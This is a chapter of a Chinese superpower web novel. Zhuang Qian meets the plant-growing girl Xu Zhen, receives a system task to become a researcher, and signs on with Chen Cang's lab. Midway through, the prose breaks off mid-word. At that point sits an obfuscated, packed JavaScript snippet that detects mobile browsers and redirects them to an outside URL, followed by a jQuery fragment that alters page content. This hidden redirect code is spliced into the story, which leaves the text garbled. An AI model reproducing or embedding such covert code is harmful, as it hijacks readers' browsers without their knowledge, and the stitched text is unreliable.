门外，小姑娘左探探右探探，试图钻过护卫的阻拦。


    护卫好言相劝：“许小姐，这不合规。”


    “哎呀，规矩是死的人是活的嘛！这样，我送花给你好不好？”


    “许小姐，这……”


    “接着！”


    不等护卫把话说完，一朵潦草的玫瑰花被抛到空中，花瓣零落。


    小姑娘趁护卫捡花的功夫，仗着B级权限刷开体检室的门，溜了进去。


    -


    体检室是单向隔音的，外面听不到里面的动静。


    “你有病吧？才说了不要用，你转头就用上了？庄岍你都二十三了，还在叛逆期吗？青春永驻是吧？”


    乔佲沉着脸，恨不得凿开庄岍的脑壳，看看里面究竟装了几斤水。


    庄岍还没从眩晕中缓过来，就被她劈头盖脸一顿臭骂，弱弱反驳，“这不是我能控制的。”


    趁乔佲再开口前，庄岍赶紧说：“有客人来了。”


    二人同时看向缩在角落猫猫祟祟的小姑娘。


    小姑娘弱弱地举起手说：“那个，我是不是来得不是时候哈哈……我先出去啦？”


    “许贞？”乔佲怒气未消，语气难免有些重了，听着像是呵斥。


    许贞后退的脚步一顿，尴尬地笑了两声：“啊哈哈你认识我啊……”


    许贞：我方撤离失败。


    乔佲一整晚都忙着跑庄岍的事，还没来得及和新来的异化者见上面，但她从后台收到了许贞的资料。


    对白塔内的每一个人都了如指掌，这是执行官的职责所在。


    她恢复了公事公办的态度，给二人介绍对方。


    “庄岍，预言家。”


    “许贞，植物人。”


    白塔内唯二的异化者到齐了。


    庄岍躺在床上朝许贞的方向微微颔首，“你好，我的异化能力是时间推演。”


    许贞踌躇着走到床边，床上的人两只手背都插满了针头和仪器导管，她小心翼翼地勾了勾庄岍的手指，算是和她握手。


    “庄姐姐，我是许贞。”


    “我的异化能力是这个……”


    话说着，从她的指尖长出一根光滑的藤蔓，藤蔓上端顶着一朵花苞。


    差一点儿了，许贞咬咬牙。


    花苞渐渐打开，开出一支盛放的黄色玫瑰。


    花茎从她指尖自然脱落，稳稳落在手心，庄岍接过，捏着光滑的茎干细细打量。


    “植物人？”


    她觉得许贞这一手更像是魔术师。


    庄岍晕过去之前只有C级权限，够不着B级人员资料，因此不知道许贞的异化能力。


    “就是我能长出植物的意思。”许贞用手指卷了卷搭在肩上的头发，补充道，“没有预言家好听。”


    乔佲嗤笑一声，“预言是要献祭的，我说的对吧？预言家大人？”


    庄岍木着脸，听多了乔佲的阴阳怪气，她已经免疫了，“算对吧。”


    乔佲白了她一眼，又上下打量许贞，带着疑惑的语气问道：“你的实验做完了？”


    许贞呼吸一滞，她面对乔佲，总有一种干坏事被高中班主任抓包的错觉。


    乔佲的气场震慑着她不敢说谎：“我溜出来的……来看望庄姐姐。”


    十七岁的小姑娘在陌生环境里独自面对一群把她当实验样本来看的研究员还是有些发怵，乍然听说还有一个和她相同遭遇的人，就觉得莫名亲切。


    “你该回去了。”乔佲严肃地说，研究所的寻人启事已经发到她这儿了。


    许贞的腕表上有几十条未读消息，不用看也知道是那帮研究员发的。


    “也是哈，确实要回去了。”


    许贞犹豫片刻后，小心翼翼地说：“两位姐姐，可以扩列吗？”


    庄岍和乔佲面面相觑，乔佲开口问道：“什么是扩列？”


    “啊？就是加好友的意思，可以加好友嘛？”许贞眼巴巴瞧着两人。


    庄岍目光柔和地看向乔佲，“长官大人你老了。”


    乔佲：“你不也不知道？”


    庄岍：“可我青春永驻。”


    乔佲：Sillyegg……


    腕表的好友功能做得十分便利，两只腕表接触一下就自动完成申请和同意的步骤。


    庄岍看了一眼好友界面：小王子的玫瑰。


    许贞的头像是一个扎着双马尾的卡通人物，跟她本人很像。


    “小玫瑰，你是哪两个字？”庄岍准备给她改备注。


    许贞伸出食指在床单上一笔一划地写，“许诺的许，女贞的贞。”


    庄岍和乔佲用的是本名，许贞悄悄给二人的备注加上了一朵小花。


    心满意足加上了联系人，许贞才准备离开，乔佲把她送到门口，庄岍不方便下床，只朝她挥了挥手。


    “两位姐姐，下次见哦！”


    “嗯，下次见。”


    体检室的门再次合上，乔佲坐到床边，床上娇艳欲滴的黄玫瑰与四周冰冷的白色格格不入。


    “怎么样？当异化者的感觉。”


    “有点不真实。”庄岍捂着额头，连在手背上的各种管线被扯得晃晃荡荡。


    “许贞能控制住异化？”


    “能，送进研究所一个小时就完全控制住了。”乔佲手指轻挑层叠的花瓣，“结构完整，她控制得很好。”


    “……我现在就去！”


    庄岍一个卷腹坐了起来，伸手就要拔掉身上连的管线。


    “你干什么！”


    乔佲立马把她按回去。


    “吃完饭再去也不迟。”


    还有一个小时就开饭了。


    庄岍眼底毫无波澜，“……你也没放过我。”


    -


    执行官公务繁忙，乔佲接了个紧急通讯，顾不上陪她吃饭，只是交代了让她好好休息后就匆匆离开。


    体检室里只剩下监测仪器的电流声。


    人都走了，庄岍点开小天才，屏幕上弹出任务结算信息：


    【任务者存活】


    【奖励已结算：信誉分＋50】


    【当前信誉分：50】


    系统没有解释信誉分的作用，似乎只是一个单纯的数值。


    【触发五级任务：获取研究员身份】


    研究员？


    庄岍的劳动合同上就是以研究员的岗位签署的，为什么系统还要发布这个任务？


    果不其然，这次出现了任务提示。


    【补充提示：参与研究所的实验项目】


    这样一来就解释得通了，庄岍入职第一天就请了病假，还没到组内报道呢！


    她现在是个假研究员！


    -


    得益于连续两年给便利店搬货的经历，庄岍的体力和恢复速度好得出奇，她的主治医生当天下午就给了出院许可。


    小天才自带导航，庄岍的B级权限可以让她在白塔内大多数区域通行无阻。


    电梯在二层停下，研究所的面积很大，占据了整个二层空间，白大褂在工位上穿梭，打印


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228422|151315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    机摆在电梯不远处，庄岍都能感受到从出纸口冒出的热气。


    看上去是个很忙碌的部门。


    打印机旁抱着一摞纸的研究员走过来，客客气气问：“是庄……山开？庄小姐吗？”


    “岍，和千山万水的千同音。”庄岍淡淡地纠正他。


    “不好意思啊，我不认得这个字。”研究员抱歉地赔笑，“你是来办入职的吧？”


    “是的，我应该在系统上申请过了。”


    “有的有的，我刚打印出来。”研究员把资料往她眼前递过去，最顶上那张就是她的入职申请。


    右下角的负责人署名：C级研究员陈舱。


    陈舱领着庄岍往里走，边走边说：“还没恭喜你异化成功了，组里昨天收到消息的时候你还没入职，不过大家都给你准备了礼物。”


    “谢谢，不用这么隆重。”


    陈舱对她的冷淡置若罔闻，叹了口气，继续说：“你要是先入职再分化就好了。”


    “怎么说？”


    庄岍不解，这两者之间也有先后顺序？


    “本来你的资料送到所里是没人接收的，毕竟你是学精械的，我们这边主要是生物研究，属于跨专业了。”


    “你知道吧？隔行如隔山，更何况是两个体系。”


    庄岍：……我请问呢？那是我愿意的吗？


    “然后就被推到我这个年轻人手里。”


    陈舱耸了耸肩，语气恶劣又讽刺地说：“谁知道你分化了，现在那些老帮菜想抢你过去自己组里，哪有这么好的事情。”


    “事实证明我们之间才比较有缘分，这不，我刚取了资料就遇上你了。”


    陈舱带庄岍走进一间会议室，厚厚一摞资料摊开在桌面上，除了庄岍的信息表之外全是实验项目和规章条款。


    “而且你放心，我们组都是年轻人，气氛很好，该有的资源一样不会少。”


    “要是跟老帮菜就只有压榨！压榨！无尽的压榨！”陈舱说得悲愤，显然是受害者之一。


    庄岍比较在意的是——


    “权限会影响工资吗？”


    她一夜之间从C级升到了B级，陈舱是组长，职位比她高，但权限又比她低。


    “会，你现在是B级了吧？B级薪资从C级上调30%，你C级工资没定，我们组按最高12000的上报了，基础薪资到手有15000多点儿。”


    “别组只会按最低标准6000定，老帮菜根本不懂什么叫人文关怀！”


    陈舱确实贴心，可能是自己淋过雨就想给别人撑伞，庄岍拿到的待遇算全所很靠前的一批了。


    “实验项目的话，考虑到你没有系统性地学习过生物知识，暂时不会要求你跟组做，但会给你挂名。”


    “还有就是实验室设备维护，这个交给你可以吧？”


    “电子机械设备可以。”这是到她的专业范畴了，没道理拿工资不干活的，庄岍爽快答应下来。


    “那好，你看看这些，没问题的话在入职表上签个字就行。”陈舱把几张重要的文件推到她面前。


    庄岍阅读速度很快，一目十行看过去，都是些类似学校实验室会在墙上张贴的“实验室守则”。


    9.禁止将实验样本带出研究所。


    13.禁止将食品带入实验场所。


    34.禁止非无菌操作。


    生物实验反倒对无菌环境要求最次。


    至于工作要求则更宽泛，只列了一条：不得迟到早退，遵守组织纪律，服从上级指挥。